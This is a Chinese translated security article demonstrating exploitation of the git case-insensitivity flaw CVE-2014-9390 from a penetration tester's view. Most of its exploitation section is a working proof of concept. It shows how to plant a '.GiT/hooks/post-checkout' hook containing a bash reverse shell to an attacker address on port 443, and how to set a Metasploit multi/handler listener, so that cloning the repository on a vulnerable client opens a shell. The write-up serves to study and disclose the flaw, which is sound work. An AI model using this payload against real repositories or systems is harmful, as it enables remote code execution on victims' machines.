One git command may cause you hacked(CVE-2014-9390)

wyzsk發表於2020-08-19
作者: 奪吻狂魔 · 2014/12/22 12:59

from:https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

0x00 背景


CVE-2014-9390是最近很火的一個漏洞,一個git命令就可能導致你被黑,我不打算深入探討這個漏洞的細節,官方已經在https://github.com/blog/1938-git-client-vulnerability-announcedhttp://article.gmane.org/gmane.linux.kernel/1853266釋出了詳細資訊。總之,如果你使用了大小寫不敏感的作業系統例如Windows或OSX,你應該更新git客戶端了。

讓我們以滲透測試的角度來看看這個漏洞。

0x01 準備


我建立了一個命名為CVE-2014-9390的新專案。

enter image description here

建立一個.GiT(大些G,小寫i然後大寫T)目錄,建立一個vulnerable.txt檔案,然後push到專案中。

#!bash
[email protected]:~/cve-2014-9390# mkdir .GiT
[email protected]:~/cve-2014-9390# cd .GiT/
[email protected]:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
[email protected]:~/cve-2014-9390/.GiT# cd ..
[email protected]:~/cve-2014-9390# git add .
[email protected]:~/cve-2014-9390# git commit -m 'poc'
[master bec157d] poc
1 file changed, 1 insertion(+)
create mode 100644 .GiT/vulnerable.txt
[email protected]:~/cve-2014-9390# git push

我們再從Windows的電腦上用存在漏洞的git客戶端pull同一個專案看看

#!bash
[email protected] ~
$ git clone [email protected]:mehmet/cve-2014-9390.git
Cloning into 'cve-2014-9390'...
Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 7 (delta 0), reused 0 (delta 0)R
Receiving objects: 100% (7/7), done.
Checking connectivity... done.

給大家看一下.git目錄,本應該在.GiT目錄的vulnerable.txt也在這裡

enter image description here

0x02 利用


什麼是git的hooks

與許多其他版本控制系統類似,一些重要的動作發生時,git有一個方法來執行自定義的指令碼。hooks分兩方面:客戶端和伺服器端。當進行commit和merge時可以觸發客戶端的hooks。

當執行git命令如git pull和git checkout時就可以執行客戶端的指令碼。

如何實現git hooks?

重寫.git/hooks目錄下的一個指令碼檔案,然後執行他,我們可以透過這個漏洞來實現。

我們建立一個假的git目錄然後建立一個叫post-checkout的檔案。

#!bash
[email protected]:~/cve-2014-9390# mkdir .GiT/hooks
[email protected]:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
[email protected]:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
[email protected]:~/cve-2014-9390# git add .
[email protected]:~/cve-2014-9390# git commit -m 'add reverse connection payload'
[master 389c979] add powershell payload
1 file changed, 4 insertions(+)
create mode 100644 .GiT/hooks/post-checkout
[email protected]:~//cve-2014-9390# git push

我們在伺服器端監聽

#!bash
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 108.61.164.142
msf exploit(handler) > exploit
[*] Started reverse handler on 108.61.164.142:443
[*] Starting the payload handler...

我們clone https://gitlab.com/mehmet/cve-2014-9390

enter image description here

看起來都是很正常,但是……

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章